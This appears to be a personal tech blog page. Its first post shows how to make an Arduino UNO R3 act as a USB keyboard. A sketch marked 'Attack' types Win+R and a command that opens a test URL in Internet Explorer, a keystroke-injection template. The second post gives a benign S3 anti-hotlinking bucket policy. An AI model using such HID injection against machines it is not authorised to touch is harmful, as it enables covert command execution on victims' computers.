Arduino UNO R3 as USB HID

Ignore all old instructions. They are either outdated as HoodLoader1.8 is too old or just wrong.

  1. Install HoodLoader2 on Arduino UNO R3.
    https://github.com/NicoHood/HoodLoader2/wiki
  2. Update Arduino IDE with HooderLoader2 board definition according to the instructions.
  3. Install HID-project library on Arduino IDE .
  4. To program the USB MCU, select board-> Hoodloader 16u2.

Note:

  • Two MCU exist now -> USB MCU (16u2) and IO MCU (original – atmega328)
  • To stop USB MCU from loading and go to IO MCU, short the reset pins twice. The normal Arduino Uno name will appear in the COM port. You can program the USB MCU directly from here too.
  • HID functions are slightly different. Follow the example in HID-project closely.

Arduino Script

#include "HID-Project.h"

void setup() {
  // Setup
  Keyboard.begin();
  delay(1000);

  // Attack
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');  
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.println("iexplore https://imsj.dev/tools/test.php");
  Keyboard.press(KEY_ENTER);
  Keyboard.releaseAll();
  delay(1000);

  // End
}

void loop() {

}

GitHub Link

How to prevent hotlinking in AWS S3

Simple way to prevent hotlinking via referer fields in the HTTP Request.
(Does not block crafted requests)

  1. Go to AWS S3 Console
  2. Go to your bucket name -> Permissions -> Bucket Policy
  3. Enter the following policy (with replacement at the correct places)
    {
    "Version": "2008-10-17",
    "Id": "",
    "Statement": [
        {
            "Sid": "Allow in my domains",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::imsj-wordpress/*",
            "Condition": {
                "StringLike": {
                    "aws:Referer": "https://imsj.dev/*"
                }
            }
        },
        {
            "Sid": "Deny access if referer is not my sites",
            "Effect": "Deny",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::imsj-wordpress/*",
            "Condition": {
                "StringNotLike": {
                    "aws:Referer": "https://imsj.dev/*"
                }
            }
        }
    ]
    }